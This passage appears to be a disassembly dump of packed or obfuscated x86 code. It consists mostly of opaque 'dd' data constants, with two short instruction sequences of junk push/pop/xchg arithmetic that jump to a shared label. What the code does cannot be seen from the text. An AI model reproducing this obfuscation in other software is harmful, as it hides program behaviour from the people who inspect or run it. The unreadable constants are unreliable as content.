dd 0B240C89h, 0EA25BD95h, 0F046A05h, 1E80h, 188F0F00h dd 0E8000000h, 12h, 0E7989813h, 0DA654353h, 2C2DBBE1h dd 2E14FDF0h, 685EFEF4h, 70EE6877h, 77243481h, 6A70EE78h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 9598C352h, 35DDDED3h, 0B9958961h, 6005EA0Bh dd 19C5B529h, 0B50105EAh, 5EA0771h, 0A9B5FF61h, 6A05EA30h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 28D4C357h, 973F7317h, 0FDBD8951h, 0FF05EA22h dd 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0C07CC6A6h, 8B0B57D8h, 0EA30A9BDh, 13E96005h dd 16000000h, 0DBEF8B80h, 0B3B3E47Fh, 9B002FD0h, 0EE3E6466h dd 0BA666CC4h, 361E202h, 6A3C7Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 4432DFC3h, 52C62406h dd 461FA6BEh, 0CD9D897Bh, 8105EA1Eh, 0F8C7h, 8B0F00h, 0C7000000h dd 202447h, 6A6000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 8F12ECC3h, 0D38B665Fh, 0A56EBD83h dd 0F0005F1h, 10D84h, 0DA816600h, 0C7837AAEh, 0E9B58B28h dd 0C705EA02h, 696A2E07h, 98B96064h, 8B0B0729h, 0EA30F59Dh dd 47C76105h, 61746104h, 0BD295300h, 5EA0BE5h, 76858B5Ah dd 6A05F1A5h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 2E99C353h, 0EC8A99E7h, 3B30CD79h dd 0F0C4789h, 682h, 69952900h, 8B05EA14h, 0F1A57A85h, 499D8905h dd 8905EA2Bh, 95890847h, 5EA2A39h, 0F28C783h, 885h, 2840F00h dd 52000000h, 2E07C75Eh, 6A6E6F63h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E72DC357h dd 0B9B58BEEh, 8905EA2Ch, 0EA31418Dh, 447C705h, 676966h dd 38F0Fh, 0DE800000h, 72858B81h, 0E805F1A5h, 0Eh, 37F6546Ch dd 0EC3325B5h, 0F0AE0B70h, 8D89202Fh, 5EA3111h, 0C47895Eh dd 8BF08B66h, 0F1A56E85h, 958B5305h, 5EA17D9h, 847895Ah dd 3071B58Bh, 0F95805EAh, 6C18D8Dh, 0BF0F05EAh, 870F50D2h dd 11h, 0CE9h, 0AC8F6900h, 9FE6F6A5h, 705306CDh, 240C8928h dd 16D5B58Bh, 0B58B05EAh, 5EA1139h, 3299B5FFh, 0BA6605EAh dd 0F468401Ch, 0E9F98255h, 11h, 8BA51BB3h, 69A1B392h, 0DB5EC7A1h dd 4CD976FCh, 24048130h, 67DBA0Ch, 30CD9531h, 0B5FF05EAh dd 5EA30A9h, 0E4A9BE66h, 0B70FD0FFh, 0B8D1h, 958B0000h dd 5EA24F9h, 0BF1B70Fh, 59840FC0h, 8B000000h, 0EA291DB5h dd 31B5FF05h, 6A05EA12h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 5674C352h, 0E37A7015h dd 0F71958Bh, 8E905EAh, 9000000h, 40B3A326h, 0FF870BE7h dd 0EA2A1995h, 7E805h, 79080000h, 0A9F8CDB1h, 0F1958B13h dd 5E05EA2Fh, 0B50BC08Bh, 5EA1625h, 13D9BD83h, 750005EAh dd 0E5BD8309h, 5EA2Eh, 53501974h, 2DB8C08Bh, 89000004h dd 0EA076985h, 5C9D8D05h, 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh dd 17740005h, 2DB85350h, 89000004h, 0EA076985h, 0FD9D8D05h dd 0FF05ECDAh, 0E9585BD3h, 8, 0AEFD4A9h, 995D45D3h, 8E960h dd 77670000h, 0CB908055h, 0CB81EBC4h, 1A29F62Fh, 8BC08B61h dd 0EA1825B5h, 0EBC08B05h, 0B317CB04h, 4C6E961h, 0B8380000h dd 26A95307h, 9AD92377h, 2455AFFBh, 97DB2175h, 9716B0E4h dd 9CC86BEFh, 1743F066h, 9CC86FEDh, 1642EF66h, 0A89C2EBCh dd 1B1D4813h, 0E86D3E97h, 75BBE549h, 0F5FF5302h, 18BBD786h dd 6B3FDC1Eh, 11BD5C91h, 8B27D21Bh, 3AF4E81h, 0C1D6060Ch dd 43B9ED8Ch, 0C03A6E11h, 8963D194h, 81175667h, 4DD5A251h dd 1DD38D21h, 9E983BDAh, 1D17BB58h, 65185BDCh, 26AFA509h dd 0A82D278Bh, 0C6C9A509h, 2D7DA0CCh, 6F0E4D83h, 595E8ECCh dd 0CA30641Bh, 0C7AD683h, 1756673Bh, 125B89CBh, 340E3966h dd 6996h, 0E86DCF00h, 3F8D1749h, 17566745h, 238320B8h dd 56676555h, 0DC39117h, 0EA862AC9h, 96D90B49h, 66C6BE0Ch dd 0A1391756h, 39BE4A02h, 0BC5340Eh, 0D5B915C8h, 12F76h dd 6D760000h, 0AF430AEAh, 0F28BDA6Ah, 0B738329Eh, 31A0AA06h dd 29232C80h, 0DA7BFCBBh, 8BA208Eh, 17572834h, 0E1151F87h dd 5E979132h, 9FF3A2D5h, 0ED6D92CBh, 67E8E24Eh, 0FCB21AB6h dd 55C70B90h, 60D5AD66h, 92C6AAB1h, 9BE8D53Ch, 1C9C9053h dd 0F75438D9h, 71DD7CF1h, 0E945F87Bh, 5CA9DB95h, 340F129Ch dd 0ADE8h, 0ED6DB100h, 9BDE104Eh, 9D3E52FEh, 11C4373Dh dd 0A150814Fh, 2AA8A202h, 0AC2F2589h, 4D0FA509h, 0FBF1FE1Fh dd 4EFC6689h, 17566776h, 0F4F251C9h, 7B81D586h, 0E2E844F7h dd 8536A46Fh, 0C55EB7E9h, 568F7460h, 3A309033h, 0A0AA06B3h dd 2F208C2Dh, 0FA86B725h, 0B88C3EA4h, 0B1756F5h, 2723093h dd 0ECDFDFBh, 780934h, 6D500000h, 70830FEDh, 23238B2Ah dd 54BDE34Fh, 212C8C9Dh, 7349FB77h, 0C61756CCh, 0DE6C325Eh dd 1756CBE6h, 6462C159h, 0CFEB47F8h, 26546391h, 77E52B75h dd 0A3006CC0h, 0D9BC55FBh, 0F6B3308Ah, 6804BB39h, 0EA6D6ECBh dd 66F1CB79h, 0DC441756h, 956A1CB0h, 0AD175667h, 0A46A7DEFh dd 6A228132h, 340E399Eh, 11EEh, 14A94000h, 7401FF87h, 0BD981488h dd 8AE6F854h, 0EE6D8C29h, 73BDE34Fh, 5B63801h, 0AA9C569h dd 8428C90Ch, 52E07AD4h, 1756675Ah, 0D49635ADh, 3DE013A8h dd 0C409C769h, 66B3B615h, 6C73C19Fh, 0F612BC44h, 41E6DE6Ch dd 0C159116Ch, 2D811962h, 9A39BD73h, 1CB06190h, 0A0D5D370h dd 165FA5F1h, 4789D77Bh, 0D0422315h, 34A04695h, 0B181FB58h dd 53116BFEh, 95D8DF0Dh, 34AB0E4h, 7DF0FA56h, 0A4C82DCh dd 0A3A9C569h, 4C208C2Fh, 0A9E74FEFh, 58F97C3Bh, 0D0D0B80Ch dd 0F63C2E23h, 65000000h, 6710D039h, 0D1F739B9h, 5B227772h dd 5A20B705h, 4BD312BDh, 62AAFC15h, 7C28EA27h, 757FDFh dd 0BD11C437h, 2DE3BDD1h, 0F0A80BAAh, 0BA16C30Ah, 309C3DB0h dd 45A6D698h, 247AD5ACh, 0BB18BF70h, 0CD9938BDh, 24EF8F79h dd 34FF2Eh, 6EA60000h, 0F6CE7C27h, 49175666h, 79E3BDD1h dd 3F9C3FB7h, 56679F45h, 0A60A9217h, 5666DCD0h, 44B0F217h dd 1A443174h dd 566704A8h, 3B6FF717h, 741Ah, 1B6E4300h, 10F51C42h, 2261FBD2h dd 0EA580AA9h, 12BC5C99h, 0C69834ACh, 0B85D925Ch, 6C59F6CEh dd 0DBD14911h, 2549E598h, 0AC4D8086h, 2ECB02F8h, 9A37BE70h dd 59F95A36h, 0D48BC907h, 5A000D77h, 82DC116Ch, 61104552h dd 26559B35h, 80633936h, 8BE7141Bh, 1DC2D28h, 114FED5Fh dd 0BA220CBDh, 38D91C16h, 0A7AC494h, 0FCA27B8Eh, 0CB64AE4Eh dd 4D198106h, 241B6E14h, 0A4AE02B3h, 0B4EA8637h, 56672E06h dd 75198117h, 0CBDB992Bh, 36AE12A7h, 0BC5D909Ah, 3EDB12E8h dd 166DE492h, 0EE616D23h, 65E9E34Fh, 603E1AB6h, 0C4CEC1F4h dd 2FCA0398h, 0AD4C817Bh, 2BC60B01h, 0FB69D787h, 0CC9839BCh dd 0E7A98B62h, 0EBC173h, 0C65EAD22h, 3CEF9AEBh, 0A554999Fh dd 12C135FBh, 96D8D2BEh, 37E646E5h, 3, 6DA5086Eh, 929834EBh dd 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h dd 848E22CFh, 0AA657h, 0E9822ECFh, 8904EC83h, 3668241Ch dd 89000049h, 89562414h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 241C895Ch, 8904EC83h, 8DB82404h, 0BA08FB6Dh, 0D0AC0D8h dd 6858C231h, 4109h, 83242489h, 5B042404h, 8B951h, 0D9010000h dd 89D58955h, 8B595D29h, 8950241Ch, 405E0h, 4050000h, 87000000h dd 8B5C2404h, 89572414h, 4C781E7h, 83000000h, 3C8704C7h dd 63E95C24h, 7BFFF8CCh, 4ACAF671h, 0F1B197B8h, 0FFC50305h dd 461C2E0h, 871A251Eh, 0D4921A4Fh, 0D49CDB08h, 65927848h dd 0B864C55Eh, 612E4634h, 0D2692207h, 0B3346B06h, 80F9531h dd 1B9C4408h, 0E256D372h, 2E0DDF2Ah, 837F0946h, 850EBA05h dd 0CD8EA93Ch, 0ABD94D0Fh, 38AFAF7Dh, 0CD729414h, 0D497E267h dd 49C8576Fh, 0DD2BF560h, 6AD52D41h, 1256F610h, 0DAC59E34h dd 4C09371h, 35736126h, 0D95CE06Bh, 9B5A831Ch, 0FA1AF817h dd 0C02E0F3Ah, 9A8D8D56h, 6A05F1B3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7BC1C351h dd 9E954A4h, 7B000000h, 55183889h, 5BE0C92Bh, 0ADD8D89h dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 1C609DC3h, 0F0B87F7Fh, 8D0F0FC9h, 6, 2EFD8589h dd 85C705EAh, 5EA0ACDh, 6C1Ch, 2FF99589h, 85C705EAh, 5EA25F5h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 94C35343h dd 2DF557E2h, 0E8939EF6h, 10h, 41A00700h, 0AAB49343h, 4DD4D7ADh dd 0C7C7902Ch, 58F3BF0Fh, 1BC9B5FFh, 6A05EAh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 80C02C3h dd 5A7ABF66h, 2A1995FFh, 958905EAh, 5EA31ADh, 95FF006Ah dd 5EA1015h, 38EBC08Bh, 7F480798h, 1451B5CBh, 2183D7E2h dd 57875F4Fh, 35593300h, 0E0E1B1C5h, 27530B03h, 42C7652Eh dd 0F1DDC296h, 5B6EFD72h, 10221DBFh, 48DE44CAh, 12A0627Ch dd 658070DBh, 88F404EBh, 62E93E1Dh, 8F000005h, 38C29649h dd 0A85206B7h, 24DE8A2Bh, 0AA5004B5h, 79DF8B28h, 0AB488AF8h dd 22D105FFh, 0AF508C76h, 2DCC01FBh, 0F341D379h, 1D4819F9h dd 509EC04Ch, 0B1DD7122h, 238033BBh, 49E86D86h, 0E594D917h dd 6C0F4349h, 903A300h, 0EE742AC9h, 5667685Ch, 0E043DB17h dd 80B42B8h, 0B2B814C5h, 98F4983Dh, 0C6292FC6h, 548C8C80h dd 185D57F7h, 118BD579h, 5731C9A3h, 75E53C17h, 2192C494h dd 0B7B1127Eh, 3E319D40h, 7AF3C834h, 0A91B81DFh, 17567ED3h dd 7EC7BD0Fh, 0A23A1756h, 0B6EE4DD5h, 0CA09104Ch, 0B5EB872Bh dd 567F2D07h, 74188017h, 12408E20h, 98C4C261h, 0D414BE7h dd 6BD9306Eh, 7C9FE61Eh, 7C2C8C2Fh, 3CDD1CD2h, 1D5FFC90h dd 0ED2CA8EFh, 0F63CF6Eh, 88CD3763h, 3C3345E9h, 0CA1756D4h dd 67115C88h, 97340EA6h, 52h, 49E86DCEh, 0E594D917h, 0A290E646h dd 54175666h, 4B85E616h, 0BDF55609h, 340E38CBh, 13Bh, 0EA6D6200h dd 6AEDE74Bh, 0EC6D67CBh, 5DF1A42Bh, 7B23B31h, 0F5ABC7ABh dd 0A704B73Bh, 0D2020807h, 0B7E392C5h, 3769084Dh, 0BA1A13DEh dd 5DFE1156h, 0F7395C05h, 853ABA7Fh, 0A4F45E9h, 0C3AFC36Fh dd 47F46660h, 0F67BB5EBh, 79FEF85Bh, 8EC068C4h, 7A19595Eh dd 0ADB6CD24h, 693E8105h, 0E24EF163h, 8F752D8Eh, 0D07AB46h dd 0FF832FCEh, 3E3A43B1h, 45340E70h, 444975ACh, 0B5161DCAh dd 79ECh, 0ED6DB500h, 6BE8E24Eh, 736966CAh, 67615BE9h dd 4CD41756h, 783FADEFh, 0F70D59FAh, 408ED083h, 0A0CC6011h dd 67784CFEh, 53CB1756h, 175A50F0h, 0E4AAD67Ah, 3F8B6D78h dd 5CFB340Eh, 0A2000000h, 0D37EF739h, 31047670h, 9FB21EBDh dd 0C6262497h, 563A56FBh, 4C209208h, 0BF1756C9h, 2E248427h dd 81A509AEh, 2CD301CFh, 0D4FEC80h, 9F9AD8DFh, 7A16BA5Dh dd 3D510270h, 0A3393069h, 56671B11h, 55F66E17h, 0D5791C53h dd 5666CCA3h, 0CC387A17h, 0E38F781h, 10734h, 6D5E0000h dd 0DF114FEEh, 3A56FA9Dh, 0B013C430h, 26D31A10h, 0F864DA8Ah dd 0D98D30A3h, 655FED77h, 0D8175667h, 0AE02AF26h, 80DAEC2h dd 0C87A2401h, 12BC43E7h, 306EC25Ah, 7BD87DFEh, 0B518F87Dh dd 1EBD1C20h, 694CA11Ch, 80731A44h, 6E02AE4Fh, 0FE306E02h dd 227AD97Eh, 6C11428Ch, 0D584C9CFh, 0C3B0F79h, 85F7116Ch dd 8747ED2h, 15ABFB57h, 0CC92B6E7h, 27D21BA0h, 0D4448973h dd 0EA2011Fh, 7AC89624h, 116BDA82h, 0AD016DF5h, 71E52EA7h dd 6E026EC2h, 0B8246AC2h, 91CF6AE3h, 0D9C3B90Bh, 0AE36116Bh dd 17E1550Dh, 6C2E23ACh, 208C31A2h, 47B6EF4Ch, 0EF000001h dd 1C421B6Eh, 0BC7439AEh, 880CE512h, 6A822115h, 68F08B28h dd 0D879F836h, 9CD1DB7Bh, 1A53A9FDh, 6AEF217Fh, 0E86963CFh dd 0E589E549h, 69ECE646h, 155896C8h, 4F23D002h, 0AAE44CECh dd 1B3293Ah, 116BB42Bh, 0B42F05B7h, 1A82116Bh, 5056F56Dh dd 86287C1Dh, 0B3D6AE1Ch, 2554116Bh, 389B0374h, 23868870h dd 48F42Eh, 0B35A0000h, 0BD810A3Eh, 43E64543h, 104E276Eh dd 5666FAA2h, 0F414CD17h, 19D1C550h, 70CA9978h, 0C3AF6463h dd 7F7503AFh, 2F175643h, 22ECFF6Dh, 0AAA00CB1h, 0B81B7724h dd 0C39D78BDh, 5643AB71h, 52069E17h, 9573h, 1B6E2A00h dd 9DD21C42h, 0D5B95E9Eh, 25962476h, 5812BC45h, 0FC90D581h dd 141750BAh, 2150A7B0h, 56FA96FAh, 2678195Ch, 0BF360EBCh dd 1189116Bh, 0DD10EAB2h, 0A38B623Ch, 3A1D0AE4h, 0A8F656F5h dd 0EF43F066h, 2B5A2083h, 89116BC9h, 8C42A5D7h, 0D0BA849h dd 847D29C8h, 44F6A875h, 0CBD371Bh, 84DA76EEh, 61698A6Dh dd 63C05B3Ah, 0ED41F065h, 0C9D103BDh, 8F65D7C0h, 0E20B7A64h dd 0FA48167Ah, 6CBD2ADh, 5C765980h, 5FE6FCDDh, 0E86F74ECh dd 26E026Bh, 1B6E0F56h, 81AE1C42h, 7412A7D5h, 0D01E40ECh dd 0A5589B9Eh, 0AA096509h, 0D68829ACh, 983BDC18h, 6B33AC0h dd 0A433DCAAh, 0A4BE26C8h, 0E64AE76Ah, 0F96B298Ah, 0DA8E2BA2h dd 8633BA74h, 0E3E5462Ah, 6963CF6Ah, 0F4A72FE8h, 0F4583458h dd 0ADEA1AA4h, 27DD8928h, 7EAF03AEh, 0Ch, 15D03927h, 7BCDBC72h dd 0E04D2E8Dh, 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh dd 913DDE1Ch, 8A4579Bh, 8E22CF02h, 0AA65784h, 822ECF00h dd 0E78957E9h, 4C781h, 0EF810000h, 4, 5C243C87h, 53241489h dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 182E6824h dd 4890000h, 0C3BF5724h, 0C16D6D36h, 814705E7h, 0E87AB0E7h dd 55DFF72Bh, 283F70BDh, 9FC5816Fh, 0F72F8563h, 4EDC1DDh dd 29CDF581h, 0EF012987h, 5FFB895Dh, 711E68h, 24248900h dd 4240481h, 58000000h, 8B951h, 0C1010000h, 89DF8957h dd 8B595F39h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- dd 6634706Fh, 0E98D638Fh, 0F4352E37h, 0B890B8DFh, 0C50305F1h dd 3276E0FFh, 0A77C7CCCh, 0BD90779Bh, 5EB73421h, 926C1E2Eh dd 0B74A0554h, 9D4A7FD9h, 8F585446h, 6F2E0C77h, 333075F9h dd 9B524AEAh, 3CD31B4Ah, 0FF2D3C99h, 94343DFCh, 580D5864h dd 33732845h, 0DE81AB3h, 0E7000000h, 0AF7510D3h, 0C93A870Ch dd 20F2BDB1h, 5859F550h, 81FABF0Fh, 619EC0h, 0BE96000h dd 88000000h, 5239227Ch, 245ABF22h, 61F5F39Ah, 0CF81F633h dd 6CCF6054h, 5B0634FFh, 81CE8B66h, 0BC49C4C3h, 0C88B6644h dd 6F6AEB81h, 0FE944E2h, 5A000000h, 5E9D0021h, 7B10B9D1h dd 8F10ED05h, 0C381116Dh, 377F92A5h, 830F5360h, 0 dd 0DB816658h, 89615C72h, 820F301Ch, 7, 0C2816656h, 835F44F6h dd 0AE903EEh, 12000000h, 58C5C26Eh, 4F285CF3h, 0CA804E5Ch dd 10FE81A0h, 0FFFFF9Fh, 0FFFF8F85h, 7E9FFh, 94A70000h dd 1EB1D83Ah, 0E904EBE6h, 0E94A42A3h, 532h, 5D09AE22h dd 0D98D30A7h, 590DB023h, 0D7832EA3h, 5A0EAD2Dh, 0D1017DFCh dd 4A8C7622h, 0D507FDA9h, 498C7622h, 0C456FCA8h, 48217E76h dd 0D47DF11Dh, 0C97BE86Dh, 175666F3h, 8D1C9F46h, 54FCA2BFh dd 900A5438h, 0D37F1C5Eh, 19F3C9BFh, 0DD6F1757h, 175719E7h dd 2DB5C25Ah, 0B6242E8Eh, 22AB5105h, 9CD1DB77h, 145B51FDh dd 0C8C2CD61h, 3BD61F9Ch, 0B067956Fh, 39DE1EE4h, 0A4579F95h dd 38F65808h, 0E0361BBCh, 667BE9EAh, 6763497h, 0C89C43B1h dd 0B21EBB32h, 569DF3C4h, 13410317h, 0E703ECAh, 58AC4534h dd 334AB1FCh, 860A53F0h, 0A4000000h, 29A6D73Eh, 34394E11h dd 56876A42h, 0C577DD17h, 175686EFh, 15B6DA42h, 80F739B0h dd 0EB8732BBh, 8E882B47h, 7006AA47h, 17566782h, 7F86F6B4h dd 340E3989h, 1F5h, 0EA6DAC00h, 0E86EAF2Dh, 0E74B274Bh dd 568A6AEDh, 89117FA3h, 983BB3B9h, 0C80658F4h, 4E48EB8Ch dd 0AA306E0Bh, 57362418h, 510F9717h, 573609E3h, 47E47C17h dd 72E2E8E7h, 5D03B225h, 3FCCB1B4h, 662805B8h, 0F9A102EBh dd 7B2FCA03h, 4EED6D22h, 0B667E8E2h, 90FCB21Ah, 4014C70Bh dd 2A8633BAh, 0AE02B320h, 65709CD2h, 340E3F83h, 12BF36F8h dd 2871D2BEh, 72h, 28ED6D71h, 0C9A509AAh, 0D361FBA5h, 175666D9h dd 0D37F1E51h, 0F350C8BFh, 7B1A5953h, 0A2D2D8D7h, 94478F41h dd 0F1F75438h, 428CD281h, 2BCC080Bh, 2487EB87h, 0A754867Ch dd 21D0010Bh, 4DBFF18Dh, 0E3F6800h, 489434h, 6DCD0000h dd 0E8E24EEDh, 4367CB6Ch, 32FCEF1Dh, 0F3411FBCh, 175666F9h dd 7177D44Ch, 960C5201h, 56675024h, 983BA317h, 0EA6D99C0h dd 0ADFC154Bh, 46E82C07h, 0F5832380h, 17567C02h, 0FB027230h dd 340E4E0Dh, 179h, 0EE6D2000h, 9CDF114Fh, 0B90B55F9h dd 175666C3h, 61C2AE36h, 0EA769FC1h, 8CA15393h, 89CCCA69h dd 9E2CB6E8h, 175719A6h, 3CAC8119h, 6609DC0h, 7929892Ah dd 0D50695C7h, 7C8D7420h, 6A4DFFA1h, 0DD12BC98h, 6AE3E945h dd 4F7891CFh, 8DBCDA66h, 55AFF754h, 0ABDD7120h, 116D4AD7h dd 0C965185Bh, 40EC8FC3h, 1F3EAE10h, 0A0F7653Bh, 22D88C2Dh dd 0CA500EABh, 6D4B8478h, 0CC6FF711h, 70EF666Ch, 6D4AEAC2h dd 0A9C55D11h, 79651EF7h, 0F15D0073h, 32F0B09Dh, 0B238B598h dd 78539683h, 9DD37BDBh, 0F4A5286Fh, 0AA8230AAh, 1D116CF0h dd 0CA7E2685h, 2E24C33Eh, 1634Eh, 0A3391700h, 56671B11h dd 3FDA1317h, 7688FF93h, 133E52FFh, 0E2B7750Ch, 32379456h dd 0F2401EE7h, 12BCFB5Dh, 8E6CEE10h, 1123C68Ah, 79D5B985h dd 0E9277915h, 0B717B46Bh, 0C79938BDh, 0B516C509h, 33DE17EDh dd 8F2AA36Dh, 4F868C2Ch, 0F8A60EA2h, 0BA16C336h, 0C53775D6h dd 52E07FF6h, 116D425Ah, 86F1A2D0h, 8826721Eh, 7AD69F61h dd 0CD6E26A6h, 2457F385h, 31032Eh, 6E5A0000h, 0A2104E27h dd 175666FAh, 8FF955CDh, 175665B5h, 0A4987D5h, 4DEC616Bh dd 6C2E8DE1h, 907DB800h, 66B87CCEh, 138B1756h, 0BA6647h dd 6E3F0000h, 0AE1C421Bh, 12BC455Dh, 0AEA40890h, 70DE8A27h dd 93993EBEh, 1D1BB85Bh, 0A96739D8h, 77D7742Bh, 6C42F401h dd 509ED011h, 0A07E3323h, 0D4B40E41h, 0DB7814B8h, 0A92C6B99h dd 56985608h, 0A75E06A5h, 3CD58B52h, 971C4BBDh, 1D23ADFh dd 4A30803Bh, 9AA2C26h, 386AC9A5h, 0B28A38A2h, 5116B8Dh dd 0B265979Dh, 0ABD1721Eh, 0CBD0413h, 0DCD67AE2h, 0EE37B999h dd 0C7B1FE92h, 52F61727h, 48167A40h, 79DE02FAh, 81ED750Bh dd 0FDF745DFh, 700B79DDh, 0CF6CE2E8h, 229CCC6Ch, 0B12BB1B2h dd 79DE2903h, 72049C0Bh, 0B79DE7Ah, 0F3F655CDh, 3381DFA6h dd 6CB547Bh, 0DF86D24Ah, 1C421B6Eh, 0A7DD18AEh, 303EE712h dd 2509990Bh, 16C90B01h, 99DCD67Ah, 1F56ACF8h, 0B0C52C72h dd 65951B4Ah, 207EDE7Dh, 64C86DEEh, 2DD20208h, 7711F48Eh dd 525852F4h, 0B1609522h, 54854BE5h, 0CD0006A5h, 478A802Ch dd 0E85606AAh, 7DB63F7Ch, 67335FFEh, 15B9589Dh, 15C4h dd 42F06A00h, 0C1B2476Ah, 0A91B45DDh, 0C1B246D3h, 0B81DBE26h dd 0EB6DA508h, 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh dd 579B913Dh, 0CF0208A4h, 57848E22h, 0CF000AA6h, 56E9822Eh dd 0C681E689h, 4, 4EE81h, 34870000h, 4895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 58E6h mov [esp], edx push edi mov edi, 420F3E65h mov eax, 4800F8B4h add eax, 2E966187h sub eax, edi sub eax, 2E966187h pop edi push esp mov edx, [esp] add esp, 4 push ebx mov ebx, 8 add ebx, edx push ecx mov ecx, 0 add ecx, ebx mov [ecx], eax pop ecx pop ebx push dword ptr [esp] pop edx add esp, 4 mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- dd 0E1F5838Bh, 0F2B834FCh, 305F1BEh, 55E0FFC5h, 7B1E17E4h dd 0E8198D63h, 0AE221F22h, 0B7161D5Fh, 0AA2F1734h, 4E049354h dd 0FE4E41B9h, 0DE6A349Dh, 24AF0ADh, 0A027C111h, 0F25C645Fh dd 0E565B3EBh, 4415A42Ah, 0A335AC8Ch, 89150F26h, 9007B3CBh dd 5A7781A4h, 0FF0EA6B3h, 0FA06B8F8h, 2749A02Ch, 0EB0A01C0h dd 92A4B404h, 569E969h, 54840000h, 0CA0DF7A3h, 56857F2Bh dd 0C809F3A7h, 53877D29h, 0D352F4A0h, 0A8FC9FD3h, 2B7F1C52h dd 0A8FCA3D1h, 2A7E1B52h, 0CCA01280h, 3F1D4825h, 0E86D1AB3h dd 6BEFE549h, 0EF669CC8h, 0A2D21C42h, 9E3D51FDh, 10C1343Eh dd 0FA41B6BCh, 76BC774h, 6711EB59h, 0FC641756h, 0CD00CE90h dd 66D8AC1Eh, 0B32B1756h, 0BC1F73DFh, 0EB19131Ch, 0DC8829ACh dd 5F01B626h, 1EBD5C91h, 0B426E846h, 11EB5907h, 64175667h dd 1B595FFCh, 8CC2C864h, 6AA4989h, 0FAAA066Ah, 51831844h dd 69DB8AC8h, 17566793h, 7E127EE6h, 34A842Ah, 7AF3F556h dd 320573DFh, 0C0175667h, 7D0B5282h, 89340E39h, 6Bh, 49E86DD0h dd 669F93E5h, 0E9AB1756h, 3886727Bh, 14FD340Eh, 0DC5F8D72h dd 0AC133E63h, 2311175Fh, 1035AF9h, 5A000000h, 0E74BEA6Dh dd 67CB6AEDh, 81BBD039h, 0BC902C06h, 3B9744B6h, 7FF2F457h dd 7B717ED2h, 983DB209h, 16C708C6h, 19FBD6BAh, 0FA23F04Bh dd 0EE144CEFh, 724AF867h, 0C5175688h, 0CB65315Dh, 8C20D705h dd 6DE643E0h, 0E8E24EEDh, 0B21AB667h, 0C70B90FCh, 66A09426h dd 8B131756h, 0C3AF4E81h, 49E86D97h, 0C96CEFE5h, 0AE471965h dd 459D893Ch, 0BFB507F4h, 3217570Ah, 2765C6AAh, 0E2D0A8B5h dd 7C3C340Eh, 65000000h, 104EED6Dh, 52FE9BDEh, 373D9D3Eh dd 0B2BD11C4h, 5CE141A8h, 62F98648h, 4A5183C1h, 0C53F6B08h dd 404AE695h, 0C6CC6011h, 404AE693h, 67CF6314h, 0E69ABB29h dd 0E52B3CA8h, 87CAC077h, 670149EAh, 97340E6Fh, 4Fh, 11A339CEh dd 1756671Bh, 5355F66Eh, 0DAD07C1Fh, 21BBE59Ah, 56669993h dd 0BF5E9117h, 90087F13h, 0E9B79333h, 0C081687Bh, 76E6EB94h dd 2DADAB08h, 6D83DA8Eh, 0EAD2DEAh, 0EA2CEA2h, 56678778h dd 8FFDBF17h, 0E39B246h, 1C234h, 6D9B0000h, 1B8B0EEEh dd 9B8DF322h, 1C515BF7h, 3F81D17Dh, 0E88DCECDh, 0EEFB12BCh dd 0CB82612Fh, 7B8E8B28h, 694EFCA2h, 0DC12BC56h, 0EC68AB22h dd 154B274Bh, 48E497DBh, 2D278724h, 0A75D09A8h, 592F832Eh dd 116C5469h, 8A2CC58Bh, 7841671Fh, 0C513E95Bh, 0FE66116Bh dd 867ECC92h, 0F9116BC5h, 5480C261h, 37630E47h, 45E988CDh dd 356B064Fh, 69C578FBh, 0AE06A605h, 0AE2774E0h, 15E35703h dd 612E2397h, 184h, 421B6E38h, 7439AE1Ch, 7FE512BCh, 515D57E5h dd 48D0116Ch, 6C51463Eh, 2750E311h, 0DE1C343Bh, 6D4570A9h dd 83BA6FCCh, 0C170E5EFh, 2D811962h, 0AB31AE27h, 6C1A2319h dd 780E9611h, 116C1A84h, 57036FF7h, 258928ADh, 0EF6DA62Fh dd 0E07A2448h, 6C1A5A52h, 0DA74AD11h, 0D2BFA7E9h, 2080234Fh dd 23FD688h, 605F5B8h, 5FF39ED3h, 22555F33h, 10B3DF73h dd 0FC12252h, 0D4B814C7h, 43AEC8F9h, 0E14208B8h, 97C36EE7h dd 237A5523h, 77A12Eh, 0C10F0000h, 0E742E190h, 104E276Eh dd 5666FAA2h, 0CC7EE417h, 175665F8h, 6512BF36h, 0BD255EFDh dd 668D6711h, 5F9D1756h, 0DC1E14B8h, 65C5BF0Dh, 0A0381756h dd 8E3060CCh, 0D7953F5Eh, 6AD842A5h, 17566692h, 0DBDE7DE5h dd 1FADF3DAh, 17566655h, 8F8CCF01h, 54389447h, 5BF89438h dd 44388A20h, 0B7175666h, 24B3022Fh, 48A8401Ah, 10DE7024h dd 4E9330E1h, 7Ch, 421B6E17h, 455DAE1Ch, 6E9012BCh, 8E224EEBh dd 